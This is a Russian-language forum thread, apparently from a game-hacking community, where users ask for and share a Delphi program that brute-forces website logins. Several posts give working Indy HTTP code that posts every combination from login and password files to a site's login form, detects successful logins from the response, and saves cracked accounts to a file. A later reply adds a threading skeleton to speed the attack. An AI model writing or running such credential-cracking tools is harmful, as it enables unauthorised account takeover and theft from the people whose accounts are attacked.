Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Брут

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 22.01.2012, 13:36   #1
Заблокирован
 Разведчик
Аватар для Ho4Hou
 
Ho4Hou излучает ауруHo4Hou излучает ауруHo4Hou излучает ауруHo4Hou излучает ауруHo4Hou излучает ауруHo4Hou излучает ауру
Регистрация: 03.10.2010
Сообщений: 49
Популярность: 653
Сказал(а) спасибо: 70
Поблагодарили 31 раз(а) в 13 сообщениях
 
По умолчанию Брут

Как написать простой брут на Delphi? По файлам пароля и логинов.
  Ответить с цитированием
Старый 22.01.2012, 13:58   #2
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Брут

Два цикла. Пример:
Код:
var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
validate:boolean;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
 for i:=0 to log.Count-1 do
  begin
   for j:=0 to pass.Count-1 do
    begin
     try
     data:=TStringList.Create; 
     HTTP:=TIdHTTP.Create(nil);
     data.Add('login='+log.Strings[i]);
     data.Add('password='+pass.Strings[j]);
     HTTP.Post('http://blabla.com/',data);
     {Тут проверяем валидность отправленных логинов и паролей}
     {Если аккаунт валидный, validate:=True, невалидный - False}
      if validate then
       begin
       result.Add(log.Strings[i]+';'+pass.Strings[j]);
       end;
     finally
     data.Free;
     HTTP.Free;
     end; 
    end;
  end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 25.01.2012, 22:11   #3
 Разведчик
Аватар для foxes20
 
foxes20 никому не известный тип
Регистрация: 10.06.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Брут

VeTaL_UA Я в роди сдала как вы писали, ну result.txt пустой
Ну я знаю что там правильный логин и пароль

Код:
procedure TForm1.Button1Click(Sender: TObject);
var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
validate:boolean;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
 for i:=0 to log.Count-1 do
  begin
   for j:=0 to pass.Count-1 do
    begin
     try
     data:=TStringList.Create;
     HTTP:=TIdHTTP.Create(nil);
     data.Add('auth_login='+log.Strings[i]);
     data.Add('auth_password='+pass.Strings[j]);
     HTTP.Post('http://dump.ru',data);
     {Тут проверяем валидность отправленных логинов и паролей}
     {Если аккаунт валидный, validate:=True, невалидный - False}
      if validate then
       begin
       result.Add(log.Strings[i]+';'+pass.Strings[j]);
       end;
     finally
     data.Free;
     HTTP.Free;
     end;
    end;
  end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;
  Ответить с цитированием
Старый 26.01.2012, 08:29   #4
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Брут

Код:
var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
Request:String;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
 for i:=0 to log.Count-1 do
  begin
   for j:=0 to pass.Count-1 do
    begin
     try
     data:=TStringList.Create; 
     HTTP:=TIdHTTP.Create(nil);
     data.Add('login='+log.Strings[i]);
     data.Add('password='+pass.Strings[j]);
     Request:=HTTP.Post('http://blabla.com/',data);
      if Pos('http://dump.ru/profile/',Request)<>0 then
       begin
       result.Add(log.Strings[i]+';'+pass.Strings[j]);
       end;
     finally
     data.Free;
     HTTP.Free;
     end; 
    end;
  end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 26.01.2012, 12:22   #5
Заблокирован
 Старший сержант
Аватар для blad56
 
blad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нацииblad56 гордость нации
Регистрация: 03.02.2011
Сообщений: 178
Популярность: 2713
Сказал(а) спасибо: 128
Поблагодарили 230 раз(а) в 110 сообщениях
Отправить сообщение для blad56 с помощью Skype™
 
По умолчанию Re: Брут

Веталь, а с многопоточностью как? Не могу разобраться. Точнее как с критическими секциями работать.
  Ответить с цитированием
Старый 26.01.2012, 16:12   #6
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Брут

Цитата:
Сообщение от blad56Посмотреть сообщение
Точнее как с критическими секциями работать.

Код:
var
  CS: TCriticalSection;
  Potok: TNewThread;
...
TNewThread = class(TThread)
  private
  protected
    procedure Execute; override;
  end;
...
procedure Zapusk;
begin
CS:=TCriticalSection.Create;
Potok:=TNewThread.Create(false);
end;
...
procedure TNewThread.Execute;
begin
CS.Enter;
{Делаем что-то}
CS.Leave;
end;
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Пользователь сказал cпасибо:
LaWRic (20.02.2012)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Информация] Брут и как его едят (брут для нуба) Евгений127 Общение и обсуждение Perfect World 59 08.07.2013 16:11
[Файл] Норм настройки на брут web tool и сам брут -Стёпа- Общение и обсуждение 16 26.08.2011 22:47
брусничка брут брут Леха9991 Общение и обсуждение 6 08.05.2011 11:15

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 05:27.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net